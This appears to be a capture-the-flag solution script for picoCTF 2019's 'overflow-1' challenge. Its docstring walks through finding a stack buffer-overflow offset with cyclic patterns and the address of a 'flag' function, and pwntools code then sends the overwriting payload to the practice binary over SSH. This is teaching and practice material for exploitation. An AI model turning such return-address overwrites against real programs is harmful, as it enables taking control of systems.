#!/usr/bin/env python

"""
  cd /problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de
  
  Run the program and notice that it returns some memory address
  ./vuln
  
  Overflow it with lots of "A"s to see what happens.
  ./vuln

  Decode the response
  echo 0x41414141 | xxd -r && echo

  Create a cyclic string that can be used to determine the offset of the buffer. Pass this string to vuln.
  cyclic(200) or, echo `cyclic(200)` | ./vuln

  Decode the response index which tells us the buffer overflow offset
  cyclic -l 0x61616174
  
  Test that this works by passing 76 'A's and 4 'B's
  python -c "print('A'*76 + 'B'*4)" | ./vuln
  
  decoding the response should give us BBBB
  echo 0x42424242 | xxd -r && echo

  now that we know the offset is correct, we need to determine the address of the "flag" function
  
  >>> from pwn import *
  >>> v = ELF('./vuln')
    [*] '/problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
  >>> p32(v.symbols['flag'])
  '\xe6\x85\x04\x08'

  Now that we know the address of the "flag" function, we can pass it to vuln with the offset we determined earlier.

  python -c "print('A'*76 + '\xe6\x85\x04\x08')" | ./vuln
"""

import creds
from pwn import *

s = ssh(host='2019shell1.picoctf.com',
        user=creds.user,
        password=creds.pwd)

pth = '/problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de'
exe = 'vuln'
payload = ('A' * 76) + '\xe6\x85\x04\x08'

sh = s.process('vuln', cwd=pth)
sh.sendlineafter(':', payload)

print(sh.recvuntil('}'))
